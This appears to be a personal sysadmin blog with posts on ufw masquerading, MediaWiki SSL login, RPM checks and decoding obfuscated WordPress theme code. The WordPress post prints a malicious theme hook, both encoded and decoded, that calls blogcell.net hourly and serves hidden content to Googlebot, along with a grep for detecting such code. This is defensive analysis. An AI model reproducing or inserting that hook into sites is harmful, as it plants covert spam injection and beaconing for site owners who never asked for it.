I’ve just upgraded my home server from Ubuntu 8.10 to 9.04 and experienced that my ufw firewall (iptables) would not route traffic from my local network to the Internet. My IP masquerading was not working anymore and since I had not documented the process when I set it up I had to search the Ubuntu pages to find the solution and came up with this.
The purpose of IP Masquerading is to allow machines with private, non-routable IP addresses on your network to access the Internet through the machine doing the masquerading. Traffic from your private network destined for the Internet must be manipulated for replies to be routable back to the machine that made the request. To do this, the kernel must modify the source IP address of each packet so that replies will be routed back to it, rather than to the private IP address that made the request, which is impossible over the Internet. Linux uses Connection Tracking (conntrack) to keep track of which connections belong to which machines and reroute each return packet accordingly. Traffic leaving your private network is thus “masqueraded” as having originated from your Ubuntu gateway machine. This process is referred to in Microsoft documentation as Internet Connection Sharing.
ufw Masquerading
IP Masquerading can be achieved using custom ufw rules. This is possible because the current back-end for ufw is iptables-restore with the rules files located in
/etc/ufw/*.rulesThese files are a great place to add legacy iptables rules used without ufw, and rules that are more network gateway or bridge related.
The rules are split into two different files, rules that should be executed before ufw command line rules, and rules that are executed after ufw command line rules.
- First, packet forwarding needs to be enabled in ufw. Two configuration files will need to be adjusted, in /etc/default/ufw change the
DEFAULT_FORWARD_POLICYto “ACCEPT”:
DEFAULT_FORWARD_POLICY="ACCEPT"Then edit /etc/ufw/sysctl.conf and uncomment:
net.ipv4.ip_forward=1Similarly, for IPv6 forwarding uncomment:
net.ipv6.conf.default.forwarding=1- Now we will add rules to the /etc/ufw/before.rules file. The default rules only configure the filter table, and to enable masquerading the nat table will need to be configured. Add the following to the top of the file just after the header comments:
# nat Table rules *nat :POSTROUTING ACCEPT [0:0] # Forward traffic from eth1 through eth0. -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE # don't delete the 'COMMIT' line or these nat table rules won't be processed COMMITThe comments are not strictly necessary, but it is considered good practice to document your configuration. Also, when modifying any of the rules files in /etc/ufw, make sure these lines are the last line for each table modified:
# don't delete the 'COMMIT' line or these rules won't be processed COMMITFor each Table a corresponding COMMIT statement is required. In these examples only the nat and filter tables are shown, but you can also add rules for the raw and mangle tables.
In the above example replace eth0, eth1, and 192.168.0.0/24 with the appropriate interfaces and IP range for your network. - Finally, disable and re-enable ufw to apply the changes:
sudo ufw disable && sudo ufw enableIP Masquerading should now be enabled. You can also add any additional FORWARD rules to the /etc/ufw/before.rules. It is recommended that these additional rules be added to the ufw-before-forward chain.
Source: https://help.ubuntu.com/9.04/serverguide/C/firewall.html
Tags: 8.10, 9.04, IP masquerading, iptables, Ubuntu, ufw
Posted by Hans-Henry Jakobsen
Lately I’ve been downloading and reading myself up on Wordpress themes and stumbled upon something curious. Many themes had encrypted code/lines starting with the following code
Example 1
eval(base64_decode('abcdefgh....')
and other variations like
Example 2
eval(gzinflate(str_rot13(base64_decode('abcdefgh...')
This made me curious about why would someone make such an effort to obfuscate their code. Personally I would like to know what code my themes are running so it was not an option not to decode these eval lines in my Wordpress themes. This made me wonder if many of my themes that had these lines of code and a simple command from the console would reveal all my themes that had encoded code from the wp-content/themes katalog on your Wordpress installation
grep eval |grep decode | grep php * -R
I had several themes containing code of hiding code and some of the themes had hacks that made traffic redirects to other sites.
Decoding Example 1 can be performed by using the following script and inserting the encrypted text in variable $a.
The PHP decoder script
The encrypted text is taken from a unnamed random theme I have downloaded.
<?php
$a = 'ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO3ByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApO2lmKCRhZHdiX3RtcFsxXSE9IiIpeyRhZHdiX29wdCA9IGFycmF5KHRpbWUoKSwgJGFkd2JfdG1wWzFdKTskd3BkYi0+cXVlcnkoIlVQREFURSAkd3BkYi0+b3B0aW9ucyBTRVQgb3B0aW9uX3ZhbHVlPSciLm15c3FsX2VzY2FwZV9zdHJpbmcoc2VyaWFsaXplKCRhZHdiX29wdCkpLiInIFdIRVJFIG9wdGlvbl9uYW1lPSdhZHdiX29wdCciKTt9fWlmIChlcmVnaSgiZ29vZ2xlYm90IiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXtpZiAoJGFkd2Jfb3B0WzFdIT0iIillY2hvICRhZHdiX29wdFsxXTt9fSBhZGRfYWN0aW9uKCJ3cF9mb290ZXIiLCAid3BfZ2V0X2Zvb3Rlcl9tZXRhIik7';
function a($a){ return base64_decode($a);}
while(!$b){
if(substr($a,0,4) == 'eval' || !$count){
$a = a(str_replace(Array('eval(base64_decode(\'','\')));'),'',$a);
$count++;
}else
$b = true;
}
echo $a;
?>
To run it from a console window you can do the following, not as a privileged user in case it does something nasty.
php scriptname.php > result.txt
My text would output the following text to the result.txt file
function wp_get_footer_meta() {
global $wpdb;
if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);
else{$adwb_opt = array(0,'');
$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");
}
if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';
$adwb_get = '/wpam/';$adwb_soc = @fsockopen($adwb_host,80,$_en,$_es,30);
if ($adwb_soc) {
@stream_set_timeout($adwb_soc,30);
@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");
$adwb_data = '';
while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);
$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));
}
@fclose($adwb_soc);
preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp);
if($adwb_tmp[1]!=""){$adwb_opt = array(time(), $adwb_tmp[1]);
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' HERE option_name='adwb_opt'");
}
}
if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT'])){if ($adwb_opt[1]!="")echo $adwb_opt[1];
}
}
add_action("wp_footer", "wp_get_footer_meta");
You should then decide if the decoded code is something you would like to run on your Wordpress site. Some themes are doing this to hide their Wordpress theme tricks while other do it to do nasty stuff like redirecting traffic from your site to other sites, etc.
Source: The decoder script was found here
Tags: base64_decode, eval, gzinflate, PHP, str_rot13, Wordpress, Wordpress theme
Posted by Hans-Henry Jakobsen
This is how I’ve enabled secure SSL login through https on a mediaWiki 1.13.3 installation. This description might work on other versions of mediaWiki, but that has not been tested.
mediWiki doesn’t support SSL login out of the box so a little hack has to be performed.
First you need to tell the webserver, in my case my Apache server that mediaWiki login requests should be redirected to the SSL page
Add the following code lines to your Apache config files or the mediaWiki .htaccess file
Rewrite login url to use httpsRewriteEngine On
RewriteCond %{REQUEST_URI} ^/index.php$
RewriteCond %{QUERY_STRING} ^title=Special:UserLogin
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteRule ^(.*)$ https://%{SERVER_NAME}/$1 [R]
Rewrite non login url to use normal http
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(?!title=Special:Userlogin)
RewriteRule ^(.*)$ http://%{SERVER_NAME}$1 [R]
Source: http://wiki.epfl.ch/cfavi/mediawiki
In addition to the above configuration you have to create a PHP script to fix some cookies problems since the cookie was made on an https address but normal surfing is done on http mode.
Create a file named ssl_login.php and insert the following code into it
# Secure the login page.
# Secure cookies hurt us because they are set on the https page
# but inaccessible from the http page, so we lose our previous session.
$wgCookieSecure = false;
# Don't process JavaScript and CSS files.
# Otherwise, a secure page will be tagged as "partially secure" because these
# files are being hit via http.
if (checkQS('gen', 'js')) {return;}
if (checkQS('gen', 'css') || checkQS('ctype', 'text/css')) {return;}
# Get page title from query string.
$pageTitle = array_key_exists('title', $_GET)
? $_GET['title']
: "";
# Get server variables
$domain = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];
# Are we on the sign-in page or not?
# Logic works for everything except Special pages which apparently don't
# even run LocalSettings.php.
$onSignInPage = false;
$signInPageName = 'special:userlogin'; // lowercase on purpose
if ( strtolower($pageTitle) == $signInPageName ) {
$onSignInPage = true;
} elseif ( strstr(strtolower($uri), "/$signInPageName") ) {
$onSignInPage = true;
} else {
$onSignInPage = false;
}
# Secure only the Special:Userlogin page.
# Un-secure all other pages.
if ( !checkServerVariable('HTTPS', 'on') && $onSignInPage ) {
header('Location: https://' . $domain . $uri);
} elseif ( checkServerVariable('HTTPS', 'on') && ! $onSignInPage ) {
header('Location: http://' . $domain . $uri);
} else {
// nothing
}
function checkQS($key, $value) {
return checkArrayValue($_GET, $key, $value);
}
function checkServerVariable($var, $value) {
return checkArrayValue($_SERVER, $var, $value);
}
function checkArrayValue($arr, $key, $value) {
return array_key_exists($key, $arr) && $arr[$key] == $value;
}
Include this file in your LocalSettings.php file like this
# Fix to use SSL login include '/full/path/to/htdocs/ssl_login.php';
Source: http://www.mediawiki.org/wiki/Manual:Configuration_tips_and_tricks#HTTPS_on_Login_only
Remember to restart your apache webserver to see the changes.
Tags: .htaccess, Apache, https, MediaWiki, PHP, SSL
Posted by Hans-Henry Jakobsen
rkhunter has given several warnings (“One or more warnings have been found while checking the system.”) lately and this has forced me to check the installations repeatedly only to determine the fact that it was a false positive.
On Redhat systems and their derivatives (Fedora, CentOS…) a easy check can be performed to determine if a file has been tampered with. I’ve made this little oneliner to help me determine if any RPM packages has been altered
rpm -qas | grep -v normal > ~/rpm_check.txt
If everything is OK you should end up with a file containing a file like this
(contains no files) (contains no files) (contains no files) (contains no files) (contains no files) (contains no files) (contains no files) (contains no files)
Posted by Hans-Henry Jakobsen
This program enables you to improve the security of your MySQL installation in the following ways:
Invoke mysql_secure_installation without arguments:
shell> mysql_secure_installation
The script will prompt you to determine which actions to perform.
Source: http://dev.mysql.com
Posted by Hans-Henry Jakobsen